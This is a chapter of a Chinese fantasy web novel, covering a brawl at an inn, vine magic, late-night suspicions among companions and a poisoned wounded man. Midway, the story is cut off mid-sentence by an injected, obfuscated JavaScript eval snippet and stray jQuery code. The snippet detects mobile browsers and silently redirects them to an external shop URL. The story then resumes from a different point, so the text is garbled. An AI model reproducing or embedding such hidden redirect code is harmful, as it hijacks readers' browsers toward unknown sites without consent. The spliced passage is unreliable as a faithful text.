后院和前厅中间的石板路没有屋檐,方才一步三回头看二人打架,走进雨里也没个知觉,踩在青苔上脚底打滑,摔了个狗啃泥。

    刚沐浴完的言朔身上又淋湿一片,他本人倒不甚在意,大不了再洗一遍澡,手撑在地上又是一滑,还好没人看见,爬起来继续去厨房,然后他就发现,厨房门口站了一圈刚溜出来的伙计。

    言朔:“……”

    刚从后院抓一把瓜子出来,二人已经从楼上打到楼下。

    躲避不及的言朔整了个大翻车,手里的瓜子熙熙攘攘掉了一地,还好他把整个厨房的瓜子都顺过来了,兜里还有。

    一会儿功法,单意已经近身和霍玉过招。

    手作刀状砍过去,霍玉迅速格挡,单意调整身位回旋踢。

    虽然看起来打的吓人,但二人基本都是身法乱斗,没有用法力。

    或许是僵持太久,霍玉受不了了,指尖掐诀。

    单意侧身避开。

    攻击方向是客栈的柱子,若是柱子断了,整个房子都会跟着塌。

    眼瞅法力就要将客栈打出个大窟窿,霍容及时挡下。

    林雾反应过来时攻击已经被抵消,冲着霍玉喊:“不带你这样急眼的。”

    霍玉一听,更来劲了,逮着承重的柱子咔咔来一扇子。

    架也不打了,在屋子里乱窜,霍容敛眉,挡住扇子对房体的攻击。

    泊棠早就看不下去了,尤其是霍玉趁着大家都去管房子的时候想偷袭单意。

    她跃下楼挡在单意面前,“我们出去打,耍小手段有什么意思。”

    “我说这位大小姐,淋雨很有意思吗?你去啊,没人拦你。”

    霍玉嘴上欠,但终归还是把称呼改了,可能是真被恶心到了。

    “你把房子弄塌就不用淋雨了吗?不就是算准了我们会阻止,你正好偷袭?”泊棠气不打一处来,话里虽是疑问,语气更多是陈述。

    林雾还在二楼,“就是就是。”

    “这叫战术。”霍玉依旧吊儿郎当,丝毫没有被戳破的羞耻感。

    言朔听的瓜子都磕不下,没见过这么不要脸的。

    一截藤蔓从地上凭空生长,也没破坏木制地板,如同从黑洞中钻出,朝霍玉袭去。

    霍玉看见藤蔓第一时间望向霍容,咬碎牙也没说话,举起手中的扇子势要割断藤蔓。

    藤蔓比众人想象的要坚硬,扇子在藤蔓周围都快旋转出火星子也没见裂痕。

    四面八方的藤蔓如蛛丝缠绕,步步紧逼,霍玉似乎能找到藤蔓延申的方位,躲的还算灵巧。

    但又不能一直这样被消耗体力,霍玉有意无意往泊棠那边靠。

    泊棠拿出剑逼退他,不让他近身,还会瞅准时机将他往藤蔓中心处推。

    一袭红衣在藤蔓之间飞舞,从高处看就是柔韧的绿藤开遍红花。

    泊棠借助藤蔓当作滑阶踩下,藤蔓配合她的步伐摇动,她滑的得心应手,就像在大海冲浪般亲切。

    最终霍玉被藤蔓缠绕包裹,一丝缝隙都没留,让人以为他要活活憋死在里面。

    泊棠收剑,背在身后,捏了捏剑柄,别给人弄死了。

    此刻出声反对又不合适,只能希望他命硬一点。

    另外一根小小的藤蔓如同触手,轻轻打开门,再重重把霍玉丢出去。

    客栈总算安静下来,单意在吩咐下人收拾被撞碎的木栏杆。

    “时间不早了,早些休息吧。”霍容自然道,仿佛方才丢出去的只是一个垃圾。

    若不是泊棠见过他用藤蔓,都要以为是单意干的。

    说到法力,单意全程只用赤手双拳。

    待众人都上楼回房间,泊棠缠着单意道:“你武功好厉害,但是没法力吗?”

    单意任由她拉着自己胳膊,眼睛换回那副弯弯的模样,“以前有人闹事,找师傅学的。”

    “哦。”泊棠点头。

    上楼后就看见霍容扳起破木门修起来,他干的很顺手。

    单意房间在另一边,与泊棠分开往两头走。

    霍容边修门边用余光看泊棠,手上动作慢下来,用只有二人能听见的声音道:“你很担心他死吗?”

    有那么明显吗,泊棠心里嘀咕。

    “你来溯凌洲做什么?又是游历?”泊棠生硬地扯开话题,今天他的出现都太自然而然了,下雨要一起找客栈住也合情合理,导致泊棠一直忽略了这个人。

    “实不相瞒。”霍容思考片刻,认真道:“家中幼弟夭折,最大的心愿便是游遍天下,我为了完成他生前所愿,决定游历四方,将他的骨灰留在六洲各处。”

    额……

    泊棠看着他面不改色地说话,仿佛同死去的弟弟不熟,反正没半点悲伤的样子,她咋了眨眼睛,怎么书里的人身份都这么悲惨。

    林雾手里拿着个大盆,抽出只手捂嘴,“好可怜。”她继续对泊棠道:”反正我们也要去浪迹天涯,带上他吧。”

    “你怎么还没睡。”泊棠示意她快些回去睡。

    “哦。”林雾乖乖道:“他们打架灰太大了,木屑都沾我脸上了,准备洗洗。”

    霍容已经修好门正对着泊棠,大有一种‘你不看我可怜收留我吗’的感觉。

    泊棠眼睛松下来,抬手按住额头,“行吧行吧,以后你就跟我们混。”

    闹了半天,泊棠这才有空躺在床上好好复盘,石化戏子和用箭捅破屋顶的或许并非同一个人。

    目的是什么,有什么好处。

    泊棠想着想着思绪就飘走了,茶馆和客栈老板是同一个人,而且还和单意长的一模一样,名字也一样,她所说的悲惨身世也不一定是真的。

    怀疑归怀疑,泊棠还是下意识把她列入好人行列,霍容,坏的,尚雎,目的不明,言朔之前被妙相之光控制,现在应该是好的,林雾,暂定好人。

    至于泊棠为什么会说林雾暂时是好人,还得追溯到言朔给自己告白那夜,世界会在角色不清醒时控制她们行为,不能掉以轻心,这是她对自己的告诫。

    雨声淅淅沥沥,寂静的夜听起来更加明晰,泊棠在床上翻来覆去睡不着,以前这种天气简直就是催眠利器,现在她两眼亮

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17658604|207091||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的如天上的星光,挤了半天的眼泪终于憋在眼眶里。

    她推开房门,走到另一头,轻敲起来,声音不大,足以叫醒一个没睡的人。

    泊棠抬起头,不让在眼里打转的泪掉下去,因为掉下去就憋不出来了,很长一段时间没有反应,就在她反悔,觉得大半夜打扰人家不好时,门开了。

    单意披了件外衫,面纱应当是刚戴的,还有些歪了,声音一如既往,听不出倦意,“有什么事吗?”

    泊棠早已调整好哭唧唧的状态,那颗蓄谋已久的泪落下,在空中莹莹闪烁,“单意姐姐,我房间窗外好像有人,我害怕。”

    单意侧身让她进来,也没说话,可能真的累了想睡觉,二人并排躺着。

    还以为她半夜会摘掉面纱,来个出其不意,结果她面纱跟焊在脸上了一样,睡觉也不摘。

    “真的不能偷偷看一下你长什么样子吗?”泊棠笑嘻嘻的,和进来时完全不一样。

    须臾,她只听见单意轻笑了一声,无声的回答,算是最后的答案了,她也不再坚持,真的长得一样重要吗,反正也不是同一个人,她安慰着自己睡着了。

    夜里还不自觉揽上单意的胳膊,整个人都快埋在她身上睡了。

    单意看着泊棠的发顶,没有推开她。

    与此同时,林雾房间。

    窗户自己开了,雨斜斜飘进来,落在林雾脸上,刚入梦的林雾被淋醒了。

    她一边抱怨客栈窗户没做好,一边懒懒起身关窗户。

    等到林雾走到窗边才发现,墙角坐着一个人,呼吸不太均匀。

    正要大喊之际,那人道:“宗主,是我。”

    林雾听出他的声音,“贺礼行?你受伤了?”

    说完,她赶忙点了根蜡烛,将火苗送到贺礼行身边,光影在他染了血的衣服上跳动,胸口赫然是道剑伤,是被人捅了一把强行扯出去的。

    贺礼行憋足劲儿说完,胸口起起伏伏,实在没力气继续回答。

    林雾用手摸了一下他的血,放在鼻尖闻,“你中毒了。”

    她在脑子里过了好几遍以前看的《百毒集》,根据他伤口糜烂程度和身体迅速失温特征,还有血液里若有若无的花香……

    是“离人泪”。

    《百毒集》只介绍了这种毒,后面关与解药的那一页,被人撕了。

    林雾替他稳住伤势,不再往外噗噗冒血,只是贺礼行依旧手脚冰凉。

    林雾看了眼床,又垂眸看了眼他的衣服。

    ……好脏。

    她捏起贺礼行下颚,强行摁开他的嘴,喂了个药丸给他。

    从宗门里带出来的药还没丢,无法解毒,但能保持他的体温,足够他吊几天命了。

    “你怎么会在这?”林雾用袖子擦去手上的血。

    贺礼行双眼迷蒙,昏睡过去。

    林雾叫了好几遍都不带醒的,起身走到房门前,手按在门把手上,悬停许久,没有打开门闩。

    这个点,泊棠应该睡了,今天大家都累了,又不能大半夜去找解药,还是明天再说吧,她这样想。